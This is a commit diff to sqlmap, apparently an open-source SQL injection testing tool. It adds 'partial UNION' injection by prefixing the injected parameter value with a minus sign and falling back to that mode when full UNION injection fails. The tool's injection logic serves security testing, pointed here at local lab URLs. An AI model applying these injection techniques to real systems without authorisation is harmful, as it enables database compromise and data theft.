Initial support for partial UNION query sql injection

lib/core/agent.py

@@ -47,7 +47,7 @@ class Agent:
         temp.stop      = randomStr(6)
 
 
-    def payload(self, place=None, parameter=None, value=None, newValue=None):
+    def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
         """
         This method replaces the affected parameter with the SQL
         injection statement to request
@@ -55,16 +55,21 @@ class Agent:
 
         retValue = ""
 
+        if negative == True or conf.paramNegative == True:
+            negValue = "-"
+        else:
+            negValue = ""
+
         # After identifing the injectable parameter
         if kb.injPlace == "User-Agent":
             retValue = kb.injParameter.replace(kb.injParameter,
-                                               kb.injParameter + newValue)
+                                               "%s%s" % (negValue, kb.injParameter + newValue))
         elif kb.injParameter:
             paramString = conf.parameters[kb.injPlace]
             paramDict = conf.paramDict[kb.injPlace]
             value = paramDict[kb.injParameter]
             retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
-                                           "%s=%s" % (kb.injParameter, value + newValue))
+                                           "%s=%s%s" % (kb.injParameter, negValue, value + newValue))
 
         # Before identifing the injectable parameter
         elif parameter == "User-Agent":

lib/core/option.py

@@ -540,6 +540,7 @@ def __setConfAttributes():
     conf.outputPath      = None
     conf.paramDict       = {}
     conf.parameters      = {}
+    conf.paramNegative   = False
     conf.path            = None
     conf.port            = None
     conf.scheme          = None

lib/techniques/inband/union/test.py

@@ -95,7 +95,7 @@ def unionTest():
 
     query = agent.prefixQuery(" UNION ALL SELECT NULL")
 
-    for comment in ("", queries[kb.dbms].comment):
+    for comment in (queries[kb.dbms].comment, ""):
         value = __effectiveUnionTest(query, comment)
 
         if value:

lib/techniques/inband/union/use.py

@@ -40,8 +40,13 @@ from lib.request.connect import Connect as Request
 from lib.techniques.inband.union.test import unionTest
 
 
-def __unionPosition(count, expression):
-    logMsg  = "confirming inband sql injection on parameter "
+def __unionPosition(count, expression, negative=False):
+    if negative:
+        negLogMsg = "partial"
+    else:
+        negLogMsg = "full"
+
+    logMsg  = "confirming %s inband sql injection on parameter " % negLogMsg
     logMsg += "'%s'" % kb.injParameter
     logger.info(logMsg)
 
@@ -63,7 +68,7 @@ def __unionPosition(count, expression):
 
         # Forge the inband SQL injection request
         query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
-        payload = agent.payload(newValue=query)
+        payload = agent.payload(newValue=query, negative=negative)
 
         # Perform the request
         resultPage = Request.queryPage(payload, content=True)
@@ -82,13 +87,16 @@ def __unionPosition(count, expression):
 
     if isinstance(kb.unionPosition, int):
         logMsg  = "the target url is affected by an exploitable "
-        logMsg += "inband sql injection vulnerability"
+        logMsg += "%s inband sql injection vulnerability" % negLogMsg
         logger.info(logMsg)
     else:
         warnMsg  = "the target url is not affected by an exploitable "
-        warnMsg += "inband sql injection vulnerability, sqlmap will "
-        warnMsg += "retrieve the expression output through blind sql "
-        warnMsg += "injection technique"
+        warnMsg += "%s inband sql injection vulnerability" % negLogMsg
+
+        if negLogMsg == "partial":
+            warnMsg += ", sqlmap will retrieve the expression output "
+            warnMsg += "through blind sql injection technique"
+
         logger.warn(warnMsg)
 
     return count
@@ -120,10 +128,21 @@ def unionUse(expression):
     if not isinstance(kb.unionPosition, int):
         count = __unionPosition(count, expression)
 
-        # Assure that the above function found the exploitable inband
+        # Assure that the above function found the exploitable full inband
         # SQL injection position
+        if not isinstance(kb.unionPosition, int):
+            count = __unionPosition(count, expression, True)
+
+            # Assure that the above function found the exploitable partial
+            # inband SQL injection position
             if not isinstance(kb.unionPosition, int):
                 return
+            else:
+                conf.paramNegative = True
+
+    # TODO: if conf.paramNegative == True and query can returns multiple
+    # entries, get once per time in a for cycle, see lib/request/inject.py
+    # like for --sql-query and --sql-shell
 
     # Forge the inband SQL injection request
     query = agent.forgeInbandQuery(expression)

sqlmap.conf

@@ -4,6 +4,7 @@
 # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
 # PHP and MySQL (local)
 url = http://127.0.0.1/sqlmap/mysql/get_int.php?id=1
+#url = http://127.0.0.1/sqlmap/mysql/get_int_partialunion.php?id=1
 # PHP and Oracle (local)
 #url = http://127.0.0.1/sqlmap/oracle/get_int.php?id=1
 # PHP and PostgreSQL (local)